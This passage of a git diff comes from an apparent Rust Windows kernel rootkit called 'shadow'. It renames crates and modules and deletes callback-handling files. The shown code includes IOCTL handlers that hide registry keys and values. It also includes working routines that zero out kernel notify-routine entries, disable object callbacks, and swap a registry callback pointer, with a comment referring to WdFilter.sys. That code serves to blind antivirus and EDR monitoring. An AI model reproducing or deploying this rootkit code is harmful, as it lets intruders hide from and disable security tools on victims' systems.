hide or unhide a registry key. + // Handles IOCTL to hide or unhide a registry key self.register_handler(HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { let target_registry = get_input_buffer::(stack)?; - let status = shadowx::Registry::modify_key(target_registry, Type::Hide); + let status = Registry::modify_key(target_registry, Type::Hide); (*irp).IoStatus.Information = size_of::() as u64; Ok(status) @@ -809,7 +815,7 @@ impl IoctlManager { self.register_handler(HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { unsafe { let target_registry = get_input_buffer::(stack)?; - let status = shadowx::Registry::modify_key_value(target_registry, Type::Hide); + let status = Registry::modify_key_value(target_registry, Type::Hide); (*irp).IoStatus.Information = size_of::() as u64; Ok(status) @@ -819,7 +825,6 @@ impl IoctlManager { } impl Default for IoctlManager { - /// Creates a new IoctlManager with an empty handler map. fn default() -> Self { Self { handlers: Ioctls::new(), diff --git a/driver/src/lib.rs b/driver/src/lib.rs index 0373236..c47176a 100644 --- a/driver/src/lib.rs +++ b/driver/src/lib.rs @@ -5,7 +5,7 @@ extern crate alloc; extern crate wdk_panic; -mod utils; +mod util; mod ioctls; mod allocator; @@ -14,7 +14,7 @@ mod callback; use core::sync::atomic::Ordering; use spin::{Mutex, lazy::Lazy}; -use shadowx::{uni, error::ShadowError, network, Network}; +use shadow_core::{uni, error::ShadowError, network, Network}; use wdk_sys::{*, ntddk::*, _MODE::KernelMode}; #[cfg(not(feature = "mapper"))] @@ -29,10 +29,15 @@ const DEVICE_NAME: &str = "\\Device\\shadow"; /// The name of the device in the DOS device namespace. const DOS_DEVICE_NAME: &str = "\\DosDevices\\shadow"; +// Global instance of the `IoctlManager`. +static mut MANAGER: Lazy> = Lazy::new(|| { + let manager = Mutex::new(ioctls::IoctlManager::default()); + manager.lock().load_handlers(); + manager +}); + /// Driver input function. /// -/// This function is called by the system when the driver is loaded. -/// /// # Arguments /// /// * `driver_object` - Pointer to the driver object. @@ -40,7 +45,7 @@ const DOS_DEVICE_NAME: &str = "\\DosDevices\\shadow"; /// /// # Returns /// -/// * Status code indicating the success or failure of the operation. +/// Status code indicating the success or failure of the operation. /// /// Reference: WDF expects a symbol with the name DriverEntry #[export_name = "DriverEntry"] @@ -70,9 +75,6 @@ pub unsafe extern "system" fn driver_entry( /// Driver input function. /// -/// This function is called by the system when the driver is loaded. It is responsible for -/// initializing the driver, creating the device object and setting up the symbolic link. -/// /// # Arguments /// /// * `driver_object` - Pointer to the driver object. @@ -80,7 +82,7 @@ pub unsafe extern "system" fn driver_entry( /// /// # Returns /// -/// * Status code indicating the success or failure of the operation. +/// Status code indicating the success or failure of the operation. pub unsafe extern "system" fn shadow_entry( driver: &mut DRIVER_OBJECT, _registry_path: PCUNICODE_STRING, @@ -140,28 +142,16 @@ pub unsafe extern "system" fn shadow_entry( STATUS_SUCCESS } -// Global instance of the `IoctlManager`. -// -// This `lazy_static` ensures that the `IoctlManager` is initialized only once -// and provides a thread-safe way to access the registered IOCTL handlers. -static mut MANAGER: Lazy> = Lazy::new(|| { - let manager = Mutex::new(ioctls::IoctlManager::default()); - manager.lock().load_handlers(); - manager -}); - /// Handles device control commands (IOCTL). /// -/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions. -/// /// # Arguments /// -/// * `_device` - Pointer to the device object (not used in this function). -/// * `irp` - Pointer to the I/O request packet (IRP) that contains the information about the device control request. +/// * `_device` - Pointer to the device object. +/// * `irp` - Pointer to the I/O request packet (IRP). /// /// # Returns /// -/// * Status code indicating the success or failure of the operation. +/// Status code indicating the success or failure of the operation. pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation; let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode; @@ -188,9 +178,6 @@ pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut I /// Closes an open instance of the device. /// -/// This function is called when an open instance of the device is closed. -/// It marks the I/O request (IRP) as successfully completed. -/// /// # Arguments /// /// * `_device_object` - Pointer to the associated device object (not used in this function). @@ -198,7 +185,7 @@ pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut I /// /// # Returns /// -/// * Status code indicating the success of the operation (always returns `STATUS_SUCCESS`). +/// Status code indicating the success of the operation (always returns `STATUS_SUCCESS`). pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { (*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS; (*irp).IoStatus.Information = 0; @@ -207,10 +194,7 @@ pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: * STATUS_SUCCESS } -/// Download the system driver. -/// -/// This function is called when the driver is being unloaded from the system. -/// It removes the symbolic link and deletes the device object associated with the driver. +/// Unload the system driver. /// /// # Arguments /// diff --git a/driver/src/utils.rs b/driver/src/util.rs similarity index 86% rename from driver/src/utils.rs rename to driver/src/util.rs index e5feda1..e8e7a59 100644 --- a/driver/src/utils.rs +++ b/driver/src/util.rs @@ -1,88 +1,87 @@ -use shadowx::error::ShadowError; -use wdk_sys::{ - ntddk::{ExAllocatePool2, ExFreePool, MmCopyMemory}, - IRP, MM_COPY_ADDRESS, MM_COPY_MEMORY_VIRTUAL, - NT_SUCCESS, POOL_FLAG_NON_PAGED, _IO_STACK_LOCATION -}; - -/// Retrieves the input buffer from the given IO stack location. -/// -/// # Arguments -/// -/// * `stack` - A pointer to the `_IO_STACK_LOCATION` structure. -/// -/// # Returns -/// -/// * `Result<*mut T, ShadowError>` - A result containing the pointer to the input buffer or an NTSTATUS error code. -pub unsafe fn get_input_buffer(stack: *mut _IO_STACK_LOCATION) -> Result<*mut T, ShadowError> { - // Retrieves the input buffer pointer from the I/O stack location. - let input_buffer = (*stack).Parameters.DeviceIoControl.Type3InputBuffer; - let input_length = (*stack).Parameters.DeviceIoControl.InputBufferLength; - - // Validate that the input buffer is not null - if input_buffer.is_null() { - return Err(ShadowError::NullPointer("Type3InputBuffer")) - } - - // Validate that the input buffer size is sufficient - if input_length < size_of::() as u32 { - return Err(ShadowError::BufferTooSmall); - } - - // Alignment check - if (input_buffer as usize) % align_of::() != 0 { - return Err(ShadowError::MisalignedBuffer); - } - - // Allocate a kernel-mode buffer in non-paged memory - let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::() as u64, 0x1234) as *mut T; - if buffer.is_null() { - return Err(ShadowError::NullPointer("buffer")); - } - - // Prepare the MM_COPY_ADDRESS structure for secure copying. - let mut src_address = core::mem::zeroed::(); - src_address.__bindgen_anon_1.VirtualAddress = input_buffer as *mut _; - - // Use `MmCopyMemory` to safely copy data from user-mode to kernel-mode - let mut bytes_copied = 0u64; - let status = MmCopyMemory( - buffer as *mut _, - src_address, - size_of::() as u64, - MM_COPY_MEMORY_VIRTUAL, - &mut bytes_copied, - ); - - if !NT_SUCCESS(status) || bytes_copied != size_of::() as u64 { - ExFreePool(buffer as *mut _); - return Err(ShadowError::InvalidMemory); - } - - // Successfully copied the buffer; return the kernel-mode pointer - Ok(buffer) -} - -/// Retrieves the output buffer from the given IRP. -/// -/// # Arguments -/// -/// * `irp` - A pointer to the `IRP` structure. -/// -/// # Returns -/// -/// * `Result<*mut T, ShadowError>` - A result containing the pointer to the output buffer or an NTSTATUS error code. -pub unsafe fn get_output_buffer(irp: *mut IRP, stack: *mut _IO_STACK_LOCATION) -> Result<(*mut T, usize), ShadowError> { - let buffer = (*irp).UserBuffer; - if buffer.is_null() { - return Err(ShadowError::NullPointer("UserBuffer")); - } - - let output_length = (*stack).Parameters.DeviceIoControl.OutputBufferLength; - if output_length < size_of::() as u32 { - return Err(ShadowError::BufferTooSmall); - } - - let count = output_length as usize / size_of::(); - Ok((buffer as *mut T, count)) -} +use shadow_core::error::ShadowError; +use wdk_sys::{ + ntddk::{ExAllocatePool2, ExFreePool, MmCopyMemory}, + IRP, MM_COPY_ADDRESS, MM_COPY_MEMORY_VIRTUAL, + NT_SUCCESS, POOL_FLAG_NON_PAGED, _IO_STACK_LOCATION +}; + +/// Retrieves the input buffer from the given IO stack location. +/// +/// # Arguments +/// +/// * `stack` - A pointer to the `_IO_STACK_LOCATION` structure. +/// +/// # Returns +/// +/// Containing the pointer to the input buffer or an NTSTATUS error code. +pub unsafe fn get_input_buffer(stack: *mut _IO_STACK_LOCATION) -> Result<*mut T, ShadowError> { + // Retrieves the input buffer pointer from the I/O stack location. + let input_buffer = (*stack).Parameters.DeviceIoControl.Type3InputBuffer; + let input_length = (*stack).Parameters.DeviceIoControl.InputBufferLength; + + // Validate that the input buffer is not null + if input_buffer.is_null() { + return Err(ShadowError::NullPointer("Type3InputBuffer")) + } + + // Validate that the input buffer size is sufficient + if input_length < size_of::() as u32 { + return Err(ShadowError::BufferTooSmall); + } + + // Alignment check + if (input_buffer as usize) % align_of::() != 0 { + return Err(ShadowError::MisalignedBuffer); + } + + // Allocate a kernel-mode buffer in non-paged memory + let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::() as u64, 0x1234) as *mut T; + if buffer.is_null() { + return Err(ShadowError::NullPointer("buffer")); + } + + // Prepare the MM_COPY_ADDRESS structure for secure copying. + let mut src_address = core::mem::zeroed::(); + src_address.__bindgen_anon_1.VirtualAddress = input_buffer as *mut _; + + // Use `MmCopyMemory` to safely copy data from user-mode to kernel-mode + let mut bytes_copied = 0u64; + let status = MmCopyMemory( + buffer as *mut _, + src_address, + size_of::() as u64, + MM_COPY_MEMORY_VIRTUAL, + &mut bytes_copied, + ); + + if !NT_SUCCESS(status) || bytes_copied != size_of::() as u64 { + ExFreePool(buffer as *mut _); + return Err(ShadowError::InvalidMemory); + } + + Ok(buffer) +} + +/// Retrieves the output buffer from the given IRP. +/// +/// # Arguments +/// +/// * `irp` - A pointer to the `IRP` structure. +/// +/// # Returns +/// +/// Containing the pointer to the output buffer or an NTSTATUS error code. +pub unsafe fn get_output_buffer(irp: *mut IRP, stack: *mut _IO_STACK_LOCATION) -> Result<(*mut T, usize), ShadowError> { + let buffer = (*irp).UserBuffer; + if buffer.is_null() { + return Err(ShadowError::NullPointer("UserBuffer")); + } + + let output_length = (*stack).Parameters.DeviceIoControl.OutputBufferLength; + if output_length < size_of::() as u32 { + return Err(ShadowError::BufferTooSmall); + } + + let count = output_length as usize / size_of::(); + Ok((buffer as *mut T, count)) +} diff --git a/shadowx/src/callback/callbacks/mod.rs b/shadowx/src/callback/callbacks/mod.rs deleted file mode 100644 index 1f7b217..0000000 --- a/shadowx/src/callback/callbacks/mod.rs +++ /dev/null @@ -1,11 +0,0 @@ -/// Callbacks related to notifications operations -mod notify_routine; -pub use notify_routine::*; - -/// Callbacks related to object operations -mod object; -pub use object::*; - -/// Callbacks related to registry operations -mod registry; -pub use registry::*; diff --git a/shadowx/src/callback/callbacks/notify_routine.rs b/shadowx/src/callback/callbacks/notify_routine.rs deleted file mode 100644 index 5c4cb4e..0000000 --- a/shadowx/src/callback/callbacks/notify_routine.rs +++ /dev/null @@ -1,237 +0,0 @@ -use alloc::vec::Vec; - -use spin::{Lazy, Mutex}; -use wdk_sys::{NTSTATUS, STATUS_SUCCESS}; - -use common::{ - enums::Callbacks, - structs::CallbackInfoOutput -}; -use crate::data::{ - CallbackRestaure, - LDR_DATA_TABLE_ENTRY -}; -use crate::callback::{ - CallbackResult, - find_callback_address -}; -use crate::{ - Result, - error::ShadowError, - modules, -}; - -/// Structure that manages callbacks in the system. -pub struct Callback; - -const MAX_CALLBACK: usize = 100; - -/// Stores information about removed callbacks. -/// -/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex` -/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`. -pub static mut INFO_CALLBACK_RESTAURE_NOTIFY: Lazy>> = - Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK))); - -impl Callback { - /// Restores a previously removed callback by its index. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to be restored (e.g., process, thread, registry). - /// * `index` - The index of the callback to restore. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored. - /// * `Err(ShadowError)` - A specific error if the callback cannot be restored. - pub unsafe fn restore(callback: Callbacks, index: usize) -> Result { - // Lock the removed callbacks to ensure thread-safe access - let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); - - // Find the removed callback by its index - let index = callbacks - .iter() - .position(|c| c.callback == callback && c.index == index) - .ok_or(ShadowError::IndexNotFound(index))?; - - // Retrieve the callback address based on the callback type - let address = match find_callback_address(&callback)? { - CallbackResult::Notify(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Restore the callback by writing back its address - let addr = address.offset((callbacks[index].index * 8) as isize); - *(addr as *mut u64) = callbacks[index].address; - - // Remove the restored callback from the saved list - callbacks.remove(index); - - Ok(STATUS_SUCCESS) - } - - /// Removes a callback from a notification routine. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to remove. - /// * `index` - The index of the callback to remove. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed. - /// * `Err(ShadowError)` - if the callback address cannot be found. - pub unsafe fn remove(callback: Callbacks, index: usize) -> Result { - // Retrieve the callback address based on the callback type - let address = match find_callback_address(&callback)? { - CallbackResult::Notify(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Calculate the callback address to be removed - let addr = address.offset((index as isize) * 8); - - // Save the removed callback information - let callback = CallbackRestaure { - index, - callback, - address: *(addr as *mut u64), - }; - - let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); - callback_info.push(callback); - - // Remove the callback by setting its address to 0 - *(addr as *mut u64) = 0; - - Ok(STATUS_SUCCESS) - } -} - -/// Methods related to callback enumeration -impl Callback { - /// Enumerates the modules associated with callbacks and populates callback information. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to enumerate. - /// - /// # Returns - /// - /// * `Ok(Vec)` - containing the list of callbacks. - /// * `Err(ShadowError)` - if the callback cannot be found. - pub unsafe fn enumerate(callback: Callbacks) -> Result> { - let mut callbacks = Vec::new(); - - // Get the address of the callback from the system - let address = match find_callback_address(&callback)? { - CallbackResult::Notify(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Iterate over loaded modules to find the module corresponding to each callback - let (mut ldr_data, module_count) = modules()?; - let start_entry = ldr_data; - - for i in 0..64 { - let addr = address.cast::().offset(i * 8); - let callback = *(addr as *const u64); - - if callback == 0 { - continue; - } - - // Iterate through the loaded modules to find the one associated with the callback - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64); - - // Check if the callback addresses fall within the module's memory range - if raw_pointer > start_address as u64 && raw_pointer < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: i as u8, - address: raw_pointer as usize, - name, - ..Default::default() - }); - - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset the module list pointer for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } - - /// Enumerates all removed callbacks and provides detailed information. - /// - /// # Returns - /// - /// * `Ok(Vec)` - containing the list of removed callbacks. - /// * `Err(ShadowError)` - if the operation fails. - pub unsafe fn enumerate_removed() -> Result> { - let mut callbacks = Vec::new(); - - let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); - let (mut ldr_data, module_count) = modules()?; - let start_entry = ldr_data; - - // Iterate over the removed callbacks - for (i, callback) in callbacks_removed.iter().enumerate() { - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64; - let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64); - - // Check if the callback addresses fall within the module's memory range - if raw_pointer > start_address as u64 && raw_pointer < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: callback.index as u8, - address: callback.address as usize, - name, - ..Default::default() - }); - - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset the module list pointer for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } -} diff --git a/shadowx/src/callback/callbacks/object.rs b/shadowx/src/callback/callbacks/object.rs deleted file mode 100644 index a373a49..0000000 --- a/shadowx/src/callback/callbacks/object.rs +++ /dev/null @@ -1,298 +0,0 @@ -use alloc::vec::Vec; - -use spin::{Lazy, Mutex}; -use wdk_sys::{NTSTATUS, STATUS_SUCCESS}; - -use common::{ - enums::Callbacks, - structs::CallbackInfoOutput -}; -use crate::data::{ - CallbackRestaureOb, - LDR_DATA_TABLE_ENTRY, - OBCALLBACK_ENTRY -}; -use crate::callback::{ - CallbackResult, - find_callback_address -}; -use crate::{ - Result, - error::ShadowError, - lock::with_push_lock_exclusive, - modules, -}; - -/// Structure representing the Callback Object. -pub struct CallbackOb; - -const MAX_CALLBACK: usize = 100; - -/// Stores information about removed callbacks. -/// -/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex` -/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`. -static mut INFO_CALLBACK_RESTAURE_OB: Lazy>> = - Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK))); - -/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType). -impl CallbackOb { - /// Restores a previously removed callback by its index. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to be restored (e.g., process, thread, registry). - /// * `index` - The index of the callback to restore. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored. - /// * `Err(ShadowError)` - A specific error if the callback cannot be restored. - pub unsafe fn restore(callback: Callbacks, index: usize) -> Result { - // Lock the removed callbacks to ensure thread-safe access - let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock(); - - // Find the callback by its index - let index = callbacks - .iter() - .position(|c| c.callback == callback && c.index == index) - .ok_or(ShadowError::IndexNotFound(index))?; - - // Retrieve the callback address based on the callback type - let full_object = match find_callback_address(&callback)? { - CallbackResult::Object(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Acquire exclusive access to the TypeLock associated with the callback object - let lock = &(*full_object).TypeLock as *const _ as *mut u64; - with_push_lock_exclusive(lock, || { - let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; - let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - - // Traverse the list of callback entries to find the one matching the removed entry - while next != current { - if !(*next).Enabled - && !next.is_null() - && (*next).Entry as u64 == callbacks[index].entry - { - // Re-enable the callback and remove it from the removed list - (*next).Enabled = true; - callbacks.remove(index); - - return Ok(STATUS_SUCCESS); - } - - next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - } - - Err(ShadowError::RestoringFailureCallback) - }) - } - - /// Removes a callback from a notification routine. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to remove. - /// * `index` - The index of the callback to remove. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed. - /// * `Err(ShadowError)` - if the callback address cannot be found. - pub unsafe fn remove(callback: Callbacks, index: usize) -> Result { - // Retrieve the callback address based on the callback type - let full_object = match find_callback_address(&callback)? { - CallbackResult::Object(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Acquire exclusive access to the TypeLock associated with the callback object - let lock = &(*full_object).TypeLock as *const _ as *mut u64; - with_push_lock_exclusive(lock, || { - let mut i = 0; - let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; - let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock(); - - // Traverse the list of callback entries - while next != current { - if i == index { - if (*next).Enabled { - // Store the removed callback in the list of removed callbacks - let callback_restaure = CallbackRestaureOb { - index, - callback, - entry: (*next).Entry as u64, - pre_operation: (*next) - .PreOperation - .map_or(0u64, |pre_op| pre_op as u64), - post_operation: (*next) - .PostOperation - .map_or(0u64, |post_op| post_op as u64), - }; - - // Disable the callback - (*next).Enabled = false; - callback_info.push(callback_restaure); - } - - return Ok(STATUS_SUCCESS); - } - - // Move to the next entry in the callback list - next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - i += 1; - } - - Err(ShadowError::RemoveFailureCallback) - }) - } -} - -/// Methods related to callback enumeration -impl CallbackOb { - /// Enumerates the modules associated with callbacks and populates callback information. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to enumerate. - /// - /// # Returns - /// - /// * `Ok(Vec)` - containing the list of callbacks. - /// * `Err(ShadowError)` - if the callback cannot be found. - pub unsafe fn enumerate(callback: Callbacks) -> Result> { - let mut callbacks = Vec::new(); - - // Retrieve the callback address based on the callback type - let full_object = match find_callback_address(&callback)? { - CallbackResult::Object(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; - let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - let mut list_objects = Vec::new(); - - // Collect the information about each callback - while next != current { - let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64); - let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64); - - list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr))); - next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - } - - // Iterate over loaded modules to find the module corresponding to each callback - let (mut ldr_data, module_count) = modules()?; - let start_entry = ldr_data; - let mut current_index = 0; - - for (i, (enabled, addrs)) in list_objects.iter().enumerate() { - if !enabled { - current_index += 1; - continue; - } - - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64; - let pre_operation = addrs.0; - let post_operation = addrs.1; - - // Check if the callback addresses fall within the module's memory range - if pre_operation > start_address as u64 && pre_operation < end_address - || post_operation > start_address as u64 && post_operation < end_address - { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: current_index, - name, - pre_operation: pre_operation as usize, - post_operation: post_operation as usize, - address: 0, - }); - - current_index += 1; - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } - - /// Enumerates all removed callbacks and provides detailed information. - /// - /// # Returns - /// - /// * `Ok(Vec)` - containing the list of removed callbacks. - /// * `Err(ShadowError)` - if the operation fails. - pub unsafe fn enumerate_removed() -> Result> { - let mut callbacks = Vec::new(); - let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock(); - let (mut ldr_data, module_count) = modules()?; - let start_entry = ldr_data; - - // Iterate over the removed callbacks - for (i, callback) in callbacks_removed.iter().enumerate() { - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - - // Check if the callback addresses fall within the module's memory range - if callback.pre_operation > start_address as u64 - && callback.pre_operation < end_address - || callback.post_operation > start_address as u64 - && callback.post_operation < end_address - { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the removed callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: callback.index as u8, - name, - pre_operation: callback.pre_operation as usize, - post_operation: callback.post_operation as usize, - address: 0, - }); - - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset the module list pointer for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } -} diff --git a/shadowx/src/callback/callbacks/registry.rs b/shadowx/src/callback/callbacks/registry.rs deleted file mode 100644 index 8bf45e7..0000000 --- a/shadowx/src/callback/callbacks/registry.rs +++ /dev/null @@ -1,283 +0,0 @@ -use alloc::vec::Vec; - -use spin::{Lazy, Mutex}; -use wdk_sys::{NTSTATUS, STATUS_SUCCESS}; - -use common::{ - enums::Callbacks, - structs::CallbackInfoOutput -}; -use crate::data::{ - CM_CALLBACK, - CallbackRestaure, - LDR_DATA_TABLE_ENTRY -}; -use crate::{ - Result, - callback::CallbackResult, - error::ShadowError, -}; -use crate::{ - callback::find_callback_address, - lock::with_push_lock_exclusive, - modules -}; - -/// Structure representing the Callback Registry. -pub struct CallbackRegistry; - -const MAX_CALLBACK: usize = 100; - -/// Stores information about removed callbacks. -/// -/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex` -/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`. -static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy>> = - Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK))); - -/// Implement a feature for the callback CmRegisterCallbackEx. -impl CallbackRegistry { - /// Restores a previously removed callback by its index. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to be restored (e.g., process, thread, registry). - /// * `index` - The index of the callback to restore. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored. - /// * `Err(ShadowError)` - A specific error if the callback cannot be restored. - pub unsafe fn restore(callback: Callbacks, index: usize) -> Result { - // Lock the removed callbacks to ensure thread-safe access - let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - - // Locating the target callback index - let index = callbacks_info - .iter() - .position(|c| c.callback == callback && c.index == index) - .ok_or(ShadowError::IndexNotFound(index))?; - - // Retrieve the callback address based on the callback type - let (callback, count, lock) = - if let CallbackResult::Registry(addr) = find_callback_address(&callback)? { - addr - } else { - return Err(ShadowError::CallbackNotFound); - }; - - // Getting a lock to perform the restore operation - with_push_lock_exclusive(lock as *mut u64, || { - let count = *(count as *mut u32) + 1; - let mut pcm_callback = callback as *mut CM_CALLBACK; - - for i in 0..count { - if pcm_callback.is_null() { - break; - } - - if i == index as u32 { - // If the index is matched, restore from the list - (*pcm_callback).Function = callbacks_info[index].address; - callbacks_info.remove(index); - - return Ok(STATUS_SUCCESS); - } - - pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; - } - - Err(ShadowError::RestoringFailureCallback) - }) - } - - /// Removes a callback from the specified routine. - /// - /// # Arguments - /// - /// * `target_callback` - Pointer to the callback information input. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed. - /// * `Err(ShadowError)` - if the callback address cannot be found. - pub unsafe fn remove(callback: Callbacks, index: usize) -> Result { - // Retrieve the callback address based on the callback type - let (callbacks, count, lock) = - if let CallbackResult::Registry(addr) = find_callback_address(&callback)? { - addr - } else { - return Err(ShadowError::CallbackNotFound); - }; - - // Getting a lock to perform the remove operation - with_push_lock_exclusive(lock as *mut u64, || { - let count = *(count as *mut u32) + 1; - let mut pcm_callback = callbacks as *mut CM_CALLBACK; - let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - let mut prev_addr = 0; - - for i in 0..count { - if i == 1 { - // Here we make an exchange, changing the target address to `WdFilter.sys` - prev_addr = (*pcm_callback).Function; - } - - if pcm_callback.is_null() { - break; - } - - if i == index as u32 { - let callback_restaure = CallbackRestaure { - index, - callback, - address: (*pcm_callback).Function, - ..Default::default() - }; - - // If the index is matched, remove from the list - (*pcm_callback).Function = prev_addr; - callbacks_info.push(callback_restaure); - - return Ok(STATUS_SUCCESS); - } - - pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; - } - - Err(ShadowError::RemoveFailureCallback) - }) - } -} - -/// Methods related to callback enumeration -impl CallbackRegistry { - /// Searches for a module associated with a callback and updates callback information. - /// - /// # Arguments - /// - /// * `target_callback` - Pointer to the callback information input. - /// * `callback_info` - Pointer to the callback information output. - /// * `information` - Pointer to a variable to store information size. - /// - /// # Returns - /// - /// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - pub unsafe fn enumerate(callback: Callbacks) -> Result> { - // Retrieve the callback address based on the callback type - let (callback, count, lock) = - if let CallbackResult::Registry(addr) = find_callback_address(&callback)? { - addr - } else { - return Err(ShadowError::CallbackNotFound); - }; - - let (mut ldr_data, module_count) = modules()?; - let start_entry = ldr_data; - - let mut callbacks = Vec::new(); - let count = *(count as *mut u32) + 1; - let mut pcm_callback = callback as *mut CM_CALLBACK; - - 